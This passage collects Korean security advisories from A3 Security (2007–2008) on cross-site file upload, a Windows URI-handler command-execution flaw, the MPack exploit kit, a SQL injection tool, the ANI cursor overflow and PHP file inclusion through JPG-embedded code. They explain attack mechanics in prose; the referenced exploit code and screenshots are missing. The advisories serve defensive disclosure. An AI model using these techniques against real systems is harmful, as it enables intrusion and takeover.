결론적으론 일반사용자의 요청을 위조하여 원하는 결과를 얻어내는 취약점이라 있다. 공격기법 문서에서는 공격자가 작성한 악의적인 Ajax 작성된 스크립트가 포함 게시물을 일반 사용자가 클릭하거나 열람하는 것만으로도 스크립트가 실행되어 파일이 업로드 되는 과정을 테스트를 통해 살펴 본다.


심각도 및 취약점 확인

취약점

Cross-site File Upload 취약점 위험도

의도되지 않은 요청변조(file upload)



취약점 세부 분석 :

1. 취약점 내용

공격자가 작성한 악의적인 스크립트가 포함된 게시물을 일반 피해자가 열람할 경우 Ajax의 XMLHttpRequestPost를 이용하여 request가 생성되고 자동으로 submit 되도록 하여 악의적인 코드가 클라이언트 웹 브라우저에서 실행이 되도록 하는 취약점이다.
사용자가 글을 읽는 순간 스크립트가 실행이 되면서 파일을 업로드 시키는 HTTP 패킷을 요청하게 되어 파일 업로드가 발생되는 취약점이다. 


2. 공격 분석

가. AJAX의 XMLHttpRequestPost

피해자가 악의적인 글을 보았을 때 자동적으로 파일이 업로드 되도록 하기위해 데이터 송 수신을 처리하는 XMLHttpRequestPost인 Ajax를 사용하였다.


아래는 파일 업로드를 하기 위한 데이터 형식인 multipart/form-data를 사용한 화면이다.

 





나. 인코딩을 통한 데이터 값

파일 데이터를 올리기 위해 웹 브라우저는 약속된 문법에 의한 encription작업을 수행하는데 이것은 일련의 boundary 값이다. 파일 업로드가 성공적으로 수행되기 위한 필수 조건은 header의 boundary값과 데이터의 boundary값이 일치해야 한다.
boundary값 사이의 삽입된 임의의 구분자를 이용하여 각각의 필드를 구분하고 필드명과 필드값을 얻어올 수 있다.
각각의 필드는 -----------------------------7d81f42c70952란 boundary값으로 구분이 된다.
첨부파일 필드를 보게 되면 실제 데이터도 확인 할 수 있다.

이 값들을 통째로 인코딩을 시켜 Ajax파일의 post부분에 삽입하여 스크립트를 작성하였다.

 




다. 스크립트의 실행

아래 화면은 이 글을 열람하게 될 경우 스크립트가 실행되도록 하여 자동으로 파일 업로드가 이루어지도록 하는 공격자의 게시물이다.
 




아래는 공격자가 원하는 제목과 내용으로 파일 업로드가 성공적으로 이루어진 화면이다.



실제로 파일이 첨부되었는지 확인을 해보았다.

 



3. 위험 분석

자동으로 입력된 신뢰정보를 기반으로 한 웹 애플리케이션에서 사용자의 신뢰 정보 내에서사용자의 요청을 변조하여 사용자가 의도하지 않은 reguest를 보내어 공격자가 원하는 파일을 업로드 시킬 수 있다. 이는 해당 시스템에 자기도 모르는 사이에 어떤 파일이 업로드 될지 모르며, 만일 쉘이 업로드 될 경우엔 해당 시스템이 장악될 수도 있는 잠재적인 위험성을 내포하고 있다.




대응 방안:

CSFU취약점은 XSS취약점과 맥락을 같이 하는 취약점이다. 때문에 XSS취약점에 대한 개선이 최우선 되어야 것이며 이를 통해 CSFU 취약점에 대한 위협을 줄일 있다.
악성 스크립트가 사이트에 침투하는 것을 막는 것이 가장 중요하기 때문에, 들어오는 모든 입력에 대해 필터링을 적용해야만 한다. 또한, 폼에 토큰을 추가시켜 하나의 토큰만을 사용하도록 해서 CSFU 위험을 효과적으로 제거 하는 방법도 있다.
어플리케이션의 취약점을 완벽하게 제거하는 것은 현실적으로 힘들기 때문에 지속적인 관리를 해주는 것이 무엇보다 중요하다.



관련 사이트 : 
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.
 http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/


Copyright(c) 1998-2008 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

웹 어플리케이션 취약점의 권고내용으로 포스팅한 내용으로써, 악의적인 사용을 금지합니다.
법적인 책임은 사용한 사람에게 있음을 알립니다.

작성자 : 김태훈 책임컨설턴트

A3AID07-06

MS Windows URI Handling 명령 실행 취약점 보안 권고안

 


권고문 작성일 : 2007. 10. 25

취약점 발표일 : 2007. 7. 26

위험등급:

현재 상태(패치 여부) :

벤더: Microsoft


대상 시스템 :

 - Windows XP Service Pack 2 with Internet Explorer 7
 - Windows XP Professional x64 Edition with Internet Explorer 7
 - Windows XP Professional x64 Edition Service Pack 2 with Internet Explorer 7
 - Windows Server 2003 Service Pack 1 and Windows Server 2003 Service Pack 2 with Internet Explorer 7
 - Windows Server 2003 x64 Edition and Windows Server 2003 x64 Edition Service Pack 2 with Internet Explorer 7
 - Windows Server 2003 with SP1 for Itanium-based Systems and Windows Server 2003 with SP2 for Itanium-based Systems with Internet Explorer 7
 - Adobe Acrobat 3D Any version
 - Adobe Acrobat Elements 8.1 and earlier
 - Adobe Acrobat Professional 8.1 and earlier
 - Adobe Acrobat Standard 8.1 and earlier
 - Adobe Reader 7.0, 8.0, 8.1
 - Firefox version 2.0.0.5

 

취약점 개요:

본 취약점은 Internet Explorer 7 버전이 설치된 Microsoft Windows XP/2003 시스템에서 등록된 URI Handler(mailto, http, news, snews, nttp, telnet)를 처리하는 ShellExecute API 결함으로 발생한 것이다. 취약점이 확인 된 ShellExecute API는 Windows 기반 어플리케이션 프로그램에서 Import하여 사용하는 API이며, 그 대표적인 경우가 PDF ACROJS(Acrobat Javaxscript)에서 사용하는 URI(<</URI(handler:AAA)/S/URI>>) 메서드이다.
본 취약점을 이용한 공격 유형 중에서 가장 이슈가 된 것은 PDF ACROJS(Acrobat Javaxscript)의 URI 메서드의 입력 값을 조작하여 생성한 PDF 파일이며, 이로 인해 PDF 취약점이 알려지게 됐다.
ShellExecute API의 URI Handling 오류는 PDF 공격 유형 뿐만 아니라 악성 웹 사이트 접속 및 공격 코드로 구성된 웹 링크를 클릭하는 경우에도 시스템 명령 수행 결과를 초래하게 된다.
취약점에 대한 Windows API 레벨에서 패치가 제공되지 않고 있는 0day(제로데이) 취약점이지만, 취약한 ShellExecute API를 사용한 어플리케이션 별로 패치를 제공하고 있다.
본 보고서는 ShellExecute API 취약점 공격 유형 중에서 가장 이슈가 되고 있는 PDF ACROJS URI 메서드 조작을 통한 URI Handling 명령 실행 취약점에 대해서 분석하였다.

 

취약점 세부 분석 :

(현재 에이쓰리시큐리티컨설팅에게서 서비스를 받으시는 고객에만 한정적으로 자료 제공)


대응 방안:


 = Microsoft Windows ShellExecute API에 대한 패치 버전이 아직 제공되지 않고 있기 때문에 확인되지 않는 사이트 및 첨부 파일에 대해서 접근해서는 안 된다.Adobe 및 FireFox 등 개별 어플리케이션에서 제공하는 패치 버전으로 업데이트 해야 한다.

 

Copyright(c) 1998-2007 A3 Security Consulting.,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티컨설팅에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티컨설팅에서는 일체의 책임을 지지 아니합니다.

작성자 : 김태훈 책임 컨설턴트

A3AID07-06

MPack(v0.90) Malicious Tool 보안 권고안

 

권고문 작성일 : 2007. 10. 12

취약점 발표일 : 2007. 5. 27

위험등급:

현재 상태(패치 여부) : 미패치

벤더: Dream Coders Team


대상 시스템 : MPack(v0.90) 패키지는 다음과 같은 취약점에 대한 포함된 공격 코드를 보유하고 있다.

-         MS06-014 : MDAC Code Execution

-        MS06-006 : Firefox 1.5.x ?Opera 7.x – Window Media Player Code Execution

-        MS06-044 : Microsoft Management Console Code Execution

-         MS06-071 : XML overflow XP/2k3

-        MS06-057 : Window Explorer Code Execution - WebViewFolderIcon overflow

-         WinZip ActiveX overflow

-         QuickTime overflow

-         MS07-017 : ANI overflow


취약점 개요:

MPack은 ‘Dream Coders Team’으로 불리는 러시아 언더그라운드 해커가 개발한 것으로, 침해 당한 또는 악성 사이트를 방문한 Client를 공격하는 상용 해킹 프로그램이다. MPack은 Microsoft 프로그램 뿐만 아니라 FireFox, Apple QuickTime 등 Client에서 주로 사용하는 어플리케이션에 대한 공격 코드를 보유하고 있다. 최근 10,000여개 유럽 도메인(특히, 이탈리아) 웹 사이트를 해킹한 후, Client 웹 브라우저를 MPack 악성 사이트로 리다이렉트하는 inFrame 태그를 홈페이지에 추가하여 80,000 여 개 Client를 해킹한 것으로 보고 되었다.
MPack는 AV(AntiVirus) 방어 기능을 우회하기 위하여 공격 코드를 ROT-5 암호화 알고리즘을 적용하였으며, 실제 대부분의 AV 솔루션이 ROT-5로 암호화된 공격 코드에 대해서 방어하지 못하는 것이 확인되었다.
하지만, MPack v0.90 패키지에 포함된 공격 코드는 0day 공격이 아닌 패치가 제공된 알려진 취약점에 대한 공격 코드로, 해당 어플리케이션 취약점에 대한 패치를 하면 MPack 공격으로부터 Client를 보호할 수 있다.
본 보안 권고는 MPack(v0.90) 프로그램에 대한 기능 및 위험성을 분석하였다.


취약점 세부 분석
:

(현재 에이쓰리시큐리티컨설팅에게서 서비스를 받으시는 고객에만 한정적으로 자료 제공)


대응 방안:

- MPack v0.90 패키지에서 확인된 취약한 어플리케이션에 대한 패치 적용을 해야 한다.

 

Copyright(c) 1998-2007 A3 Security Consulting.,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티컨설팅에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티컨설팅에서는 일체의 책임을 지지 아니합니다.

작성자 : 이택현 컨설턴트

A3AID07-04

ASP+MSSQL Cookie SQL Injection Tool 취약점 보안 권고안


 권고문 작성일
: 2007. 10. 05


 취약점 발표일
: 2007. 10. 04


 위험등급
: 중


 현재 상태(패치 여부)
: 미패치


 벤더
: Microsoft


 대상 시스템
: 취약점이 존재하는 응용프로그램에 목록을 정리하는 단계입니다.
 - Microsoft SQL Server 2000 + ASP (Active Server Page)


 취약점 개요:

 ASP+MSSQL Cookie SQL Injection Tool 은 PHP 기반의 공격도구로서 취약한  MSSQL+ASP  기반의 웹 사이트에 다양한 SQL Injection 공격을 수행할 수 있다.
 다음은 ASP+MSSQL Cookie SQL Injection Tool 에서 수행할 수 있는 기능 요약이다.

= 숫자형, 문자형에 대한 SQL Injection 공격 기능
= URL 및 쿠키에 SQL Injection 공격 기능
= 테이블명, 컬럼명, 데이터 추출 기능
= MSSQL 서버 정보 조회
= 웹 쉘 삽입 및 로그 백업 수행
= 시스템 디렉터리 리스트 조회
= 시스템 레지스트리 조회
= MSSQL의 xp_cmdshell 프로시저를 통해 시스템 명령 수행
= MSSQL대한 SQL 쿼리 조회

 본 보안 권고는 ASP+MSSQL Cookie SQL Injection Tool 에 대한 기능 및 위험성을 분석하였 다.


 취약점 세부 분석 :

(현재 에이쓰리시큐리티컨설팅에게서 서비스를 받으시는 고객에만 한정적으로 자료 제공)


 대응 방안:

- 파일 업로드 취약점을 보안하여 공격의 경유지로 이용되지 않도록 조치해야 한다.
- MSSQL+ASP 기반의 웹 사이트에 존재하는 SQL Injection 취약점을 제거해야 한다.


Copyright(c) 1998-2007 A3 Security Consulting.,LTD

Disclaimer
※ 현재 ㈜에이쓰리시큐리티컨설팅에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티컨설팅에서는 일체의 책임을 지지 아니합니다.

작성자 : 구대훈 컨설턴트
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

[A3AID07-03]

Microsoft Windows ANI File Format Handling 취약점

 

권고문 작성일 : 2007. 4. 3

최초 발표일 : 2007. 3. 29

위험등급:

현재 상태(패치 여부) : 패치

벤더: Microsoft


대상 시스템 : 해당 취약점에 영향을 받는 시스템 목록은 아래와 같으며, 영문 버전 및 한글 버전에서 원격 명령어 실행이 확인되었으며, 이 취약점을 악용한 웜 바이러스가 확인되었다.

- Microsoft Windows 2000
- Microsoft Windows XP
- Microsoft Windows Server 2003
- Microsoft Windows Vista


취약점 개요:

Microsoft사의 ANI 파일은 RIFF(Resource Interchange File Format) 형식을 기반으로 커서 및 다수의 아이콘을 저장하기 위해 만들어진 파일 형식이다. RIFF 형식을 이용하는 파일로는 AVI, WAV등 다양한 종류의 멀티미디어 자료들이 있다.
ANI파일의 RIFF 포맷의 잘못된 처리로 인해 스택 오버플로우가 발생하여 로컬 사용자의 권한으로 임의의 코드를 실행시킬 수 있으며, 개인정보 유출을 노리는 악성프로그램을 설치할 수 있다.
2007년 4월 3일 현재 Microsoft사에서는 취약점에 대한 패치가 제공되고 있지 않으며, 4월 4일에 패치 예정으로 알려졌다.
본 보안 권고는 ANI파일에 대한 취약점 분석을 하였다.

심각도 및 취약점 확인 :

취약점 영향

취약점 위험도

원격 코드 실행

긴급


취약점 세부 분석 :

이 취약점은 ani 파일의 잘못된 헤더 값으로 인해서 ani 파일이 로딩되면서 스택 오버플로우가 발생하여 원격 코드 실행이 가능 한 취약점이다. 이 취약점을 이용하여 악성프로그램을 설치할 수 있다.

다음 그림은 ANIHeader 의 구조체를 나타내는데 AniHeader의 사이즈는 36byte로 제한되어 있다.


다음 그림은 원격 코드 실행이 가능한 공격 코드이다.
AniHeader의 사이즈를 36byte 가 아닌 비정상적으로 52byte로 설정되어 52바이트 만큼의 데이터가 복사되어 EIP가 덮어 씌워져 스택 오버플로우가 발생된다.
 




ANI 공격 파일은 다음과 같이 구성되어 있다. 다음은 Ani Header 부분입니다.


다음 그림은 Ani tag data 부분입니다.



다음은 Shell Code 부분입니다.
 

[그림 5] Shellcode 부분

다음 그림은 AniHeader 처리 하는 콜문을 확인한 결과이다. AniHeader를 읽어 데이터를 힙역영에 복사를 한다. 데이터를 처리하는 과정에서 AniHeader의 사이즈를 체크후 리턴된다. 리턴된다.
 

 


다음 그림은 리턴 되고 쉘코드가 실행되는 화면이다.
 


다음은 쉘코드가 실행되는 부분입니다.

2. 공격 분석
취약점을 이용한 악성 코드의 공격 방식에 대해서 분석하는 단계입니다.

본 취약점에 대한 공격 코드가 공개된 상태이며 사이트들이 해킹 당했을 경우 홈페이지에 공격 코드가 삽입되면 다 수의 사용자들의 컴퓨터가 악성 프로그램에 감염된다.

다음은 암호화된 공격코드 일부입니다.

 



다음은 복호화된 공격코드 일부입니다. 



공격 코드가 삽입된 페이지를 열람할 시에 악성 프로그램에 감염되게 된다.



3. 위험 분석
상기 취약점을 이용한 실제 동작하는 공격 코드가 이미 공개된 상태이므로 공격을 당했을 시 시스템에 대한 사용자 권한을 얻게 되어 치명적인 위험에 놓일 수 있다.
 


대응방안
아래 사이트를 참고하여 업데이트를 권고드립니다.
Microsoft Security Advisory: Vulnerability in Windows Animated Cursor Handling (935423)
http://www.microsoft.com/technet/security/advisory/935423.mspx

Microsoft Security Bulletin MS07-017: Vulnerability In GDI Could Allow Remote Code Execution (925902)
http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx

(현재 에이쓰리시큐리티컨설팅에게서 서비스를 받으시는 고객에만 한정적으로 자료 제공)

 

Copyright(c) 1998-2007 A3 Security Consulting.,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티컨설팅에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티컨설팅에서는 일체의 책임을 지지 아니합니다.

작성자 : coyBum (coyBum@a3security.com)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

[A3AID07-02]

Local Inclusion (LFI using PHP injected JPG)취약점 보안 권고안

 


권고문 작성일 : 2007. 3. 28

최초 발표일 : 2007. 1. 29

위험등급:

현재 상태(패치 여부) : 미패치

벤더: PHP


대상 시스템 : PHP all

 
취약점 개요:

2007년 1월 29일, PHP 환경에서 Local inclusion취약점이 발견되었다.
이 취약점은 PHP에서 local include 파일 내에 php코드를 삽입하여 공격자의 원하는 코드를 실행시킬 수 있고 시스템의 정보를 얻거나 시스템이 침해를 당할 수 있다. 업로드 확장자를 필터링하는 환경에서 실제 jpg나 gif파일에 php코드를 삽입하여 그림파일이 업로드 가능한 환경에서도 성공적으로 공격을 실행할 수가 있다
본 보안 권고안은 Fedora 기반의 linux와 PHP 4.2.2에서 테스트 및 분석된 결과이다.


심각도 및 취약점 확인 :

취약점 영향

Local Inclusion 취약점 위험도

시스템정보 획득 및 침해




취약점 세부 분석 :

PHP 에서 include()문은 특정 파일을 include하고 적용 시키는 기능을 한다. 이 local include 취약점을 이용하여 서버가 침해를 당할 수 있다. 일반적으로 jpg, gif등 그림파일만 업로드가 가능하고 php나 html등 다른 확장자를 필터링하는 게시판에서 jpg, gif등 업로드가 가능한 그림파일내에 php코드를 삽입하여 local include 취약점을 이용하여 공격할 수 있다.

http://example.com/?page=faq.txt 와 같이 local file inclusion이 되는 사이트에서 php코드를 삽입하여 업로드한 gif, jpg을 inclusion하면 공격자가 삽입할 수 있는 어떠한 코드도 실행 가능하다. 
 




2. 공격 분석
현재 해당 취약점을 이용하여 공격 가능한 그림파일 edit바이너리가 공개된 상태이고 이번 테스트는 jpg edit할 수 있는 테스트 코드를 작성하여 직접 공격분석을 시도해 보았다.

다음 그림은 jpg 파일내에 php코드를 삽입할 수 있는 코드이다.

 



jpg파일에 php코드를 삽입할 수 있는 코드를 이용하여 jpg그림파일 내에 php 코드를 삽입하게 된다. 



JFIF파일의 Frame header와 Scan header앞에 comment를 넣게 된다. 코드 삽입을 하게 되면 다음과 같은 위치에 삽입이 되고 그림파일자체는 깨지지 않고 원상태를 유지하여 절대경로를 이용하거나 삽입된 게시판에서 보게 되면 업로드 한 그림을 볼 수 있다. 
 



다음은 정상적으로 업로드 된 사진 파일을 확인하는 화면이다.


업로드 한 jpg파일을 local file inclusion이 되는 사이트에서 실제 실행해서 dir 을 확인해 보면 dir이 실행되는 것을 확인할 수 있다. (공격자가 다른 코드도 삽입을 하여 실행하면 원하는 코드를 실행할 수 있다. )

다음 그림은 일반 사용자 권한으로 web shell코드를 이용하여 dir을 실행한 것이다.





대응 방안

 1. 보안 대책
소스레벨에서 include()나 require() 계열 함수를 사용할 때 변수가 반드시 초기화 되어
사용되고, 사용자가 변경할 수 없는지 재차 확인하는 것이 필요하다.

2. 관련 사이트
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.
 http://www.w3.org/Graphics/JPEG/itu-t81.pdf
 http://home.cfl.rr.com/maderik/edjpgcom/

Copyright(c) 1998-2007 A3 Security Consulting.,LTD



※ 현재 ㈜에이쓰리시큐리티컨설팅에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티컨설팅에서는 일체의 책임을 지지 아니합니다.